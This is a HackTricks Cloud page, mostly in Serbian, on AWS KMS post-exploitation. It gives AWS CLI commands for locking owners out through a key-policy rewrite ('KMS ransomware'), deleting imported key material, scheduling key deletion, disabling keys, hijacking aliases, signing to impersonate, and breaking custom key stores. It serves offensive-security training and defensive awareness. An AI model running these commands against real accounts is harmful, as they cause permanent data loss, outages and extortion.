AWS - KMS Post Exploitation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
KMS
Za više informacija pogledajte:
Šifrovanje/dešifrovanje informacija
fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:
fileb://:Čita fajl u binarnom režimu, obično se koristi za fajlove koji nisu tekstualni.file://:Čita fajl u tekstualnom režimu, tipično se koristi za obične tekstualne fajlove, skripte ili JSON koji nema posebne zahteve za kodiranje.
Tip
Imajte na umu da, ako želite dešifrovati podatke u fajlu, fajl mora sadržati binarne podatke, a ne base64 enkodirane podatke. (fileb://)
- Korišćenje simetričnog ključa
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
- Koristeći asimetrični ključ:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile
# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode
KMS Ransomware
Napadač koji ima privilegovani pristup KMS-u može izmeniti KMS policy ključeva i dodeliti svom nalogu pristup njima, uklanjajući pristup dodeljen legitimnom nalogu.
Tada korisnici legitimnog naloga neće moći da pristupe informacijama nijedne usluge koja je šifrovana tim ključevima, što stvara jednostavan ali efikasan ransomware nad nalogom.
Warning
Imajte na umu da AWS managed keys nisu pogođene ovim napadom, samo Customer managed keys.
Takođe napomena o potrebi korišćenja parametra
--bypass-policy-lockout-safety-check(nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI).
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check
{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
Caution
Imajte na umu da ako promenite tu politiku i date pristup samo eksternom nalogu, i zatim iz tog eksternog naloga pokušate da postavite novu politiku da give the access back to original account, you won’t be able cause the Put Polocy action cannot be performed from a cross account.
.png)
Generički KMS Ransomware
Postoji još jedan način da se izvede globalni KMS Ransomware, koji bi uključivao sledeće korake:
- Napravite novi key with a key material importovan od strane napadača
- Re-encrypt older data žrtve koja je bila šifrovana prethodnom verzijom, koristeći novu
- Delete the KMS key
- Sada samo napadač, koji poseduje originalni key material, može da dešifruje šifrovane podatke
Brisanje ključeva putem kms:DeleteImportedKeyMaterial
Sa permisijom kms:DeleteImportedKeyMaterial, akter može obrisati importovanu key material iz CMKs sa Origin=EXTERNAL (CMKs that have imperted their key material), čineći ih nesposobnim za dešifrovanje podataka. Ova akcija je destruktivna i nepovratna osim ako kompatibilan materijal nije ponovo importovan, omogućavajući napadaču da efektivno izazove ransomware-like gubitak podataka tako što će enkriptovane informacije učiniti trajno nedostupnim.
aws kms delete-imported-key-material --key-id <Key_ID>
Destroy keys
Destroying keys — moguće je izvesti DoS.
# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7
Caution
Imajte na umu da AWS sada sprečava da se prethodne radnje izvršavaju iz drugog naloga:
Promeni ili obriši Alias
Ovaj napad briše ili preusmerava AWS KMS aliases, prekidajući rezoluciju ključeva i izazivajući trenutne greške u svim servisima koji se oslanjaju na te aliases, što rezultira denial-of-service. Sa privilegijama kao što su kms:DeleteAlias ili kms:UpdateAlias napadač može ukloniti ili preusmeriti aliases i ometati kriptografske operacije (npr. encrypt, describe). Bilo koji servis koji referencira alias umesto key ID može zakazati dok se alias ne vrati ili pravilno mapira.
# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>
# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>
Poništavanje brisanja ključa
Sa dozvolama kao što su kms:CancelKeyDeletion i kms:EnableKey, napadač može otkazati zakazano brisanje AWS KMS customer master key i kasnije ga ponovo omogućiti. Time se ključ oporavlja (prvobitno u Disabled stanju) i obnavlja njegova sposobnost da dešifruje prethodno zaštićene podatke, omogućavajući exfiltration.
# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>
## Second enable the key
aws kms enable-key \
--key-id <Key_ID>
Disable Key
Sa dozvolom kms:DisableKey, napadač može onemogućiti AWS KMS customer master key, sprečavajući njegovo korišćenje za šifrovanje ili dešifrovanje. Ovo prekida pristup svim servisima koji zavise od tog CMK-a i može izazvati trenutne prekide rada ili denial-of-service dok ključ ponovo ne bude omogućen.
aws kms disable-key \
--key-id <key_id>
Izračunavanje zajedničke tajne
Sa dozvolom kms:DeriveSharedSecret, entitet može da koristi privatni ključ u KMS-u zajedno sa javnim ključem koji dostavi korisnik da izračuna ECDH zajedničku tajnu.
aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>
Impersonation via kms:Sign
Sa dozvolom kms:Sign, napadač može koristiti KMS-stored CMK da kriptografski potpiše podatke bez izlaganja privatnog ključa, generišući važeće potpise koji mogu omogućiti impersonation ili autorizovati zlonamerne radnje.
aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW
DoS with Custom Key Stores
Sa dozvolama kao što su kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore, ili kms:UpdateCustomKeyStore, napadač može izmeniti, prekinuti vezu sa ili obrisati AWS KMS Custom Key Store (CKS), čineći njegove master ključeve neupotrebljivim. To prekida operacije enkripcije, dekripcije i potpisivanja za sve servise koji zavise od tih ključeva i može izazvati trenutni denial-of-service. Zbog toga je kritično ograničiti i nadgledati te dozvole.
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
.png)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

